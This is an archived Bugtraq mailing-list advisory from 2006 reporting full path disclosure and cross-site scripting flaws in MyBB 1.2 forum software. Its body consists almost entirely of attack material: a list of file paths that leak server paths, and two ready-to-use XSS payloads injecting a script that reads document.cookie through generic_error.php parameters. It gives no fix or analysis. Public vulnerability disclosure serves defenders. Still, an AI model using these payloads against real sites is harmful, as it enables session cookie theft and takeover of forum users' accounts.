MyBB 1.2 Full path and Cross site scripting vulnerabilities

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: MyBB 1.2 Full path and Cross site scripting vulnerabilities
From: security@xxxxxxxxx
Date: 17 Sep 2006 15:23:22 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

Hello

Title : MyBB 1.2 Full path and Cross site scripting vulnerabilities
Discovered by : HACKERS PAL
Copyrights : HACKERS PAL
Website : WwW.SoQoR.NeT
Email : security@xxxxxxxxx

Full path
inc/generic_error.php?message=1
inc/datahandlers/event.php
inc/datahandlers/pm.php
inc/datahandlers/post.php
inc/datahandlers/user.php

Full path and Xss
inc/generic_error.php?message=<script>alert(document.cookie);</script>
inc/generic_error.php?message=1&code=<script>alert(document.cookie);</script>

WwW.SoQoR.NeT

Prev by Date: PhotoPost PHP 4.6 - 4.5 [PP_PATH] >> Remote File Include Vulnerability
Next by Date: [USN-348-1] GnuTLS vulnerability
Previous by thread: PhotoPost PHP 4.6 - 4.5 [PP_PATH] >> Remote File Include Vulnerability
Next by thread: [USN-348-1] GnuTLS vulnerability
Index(es):
- Date
- Thread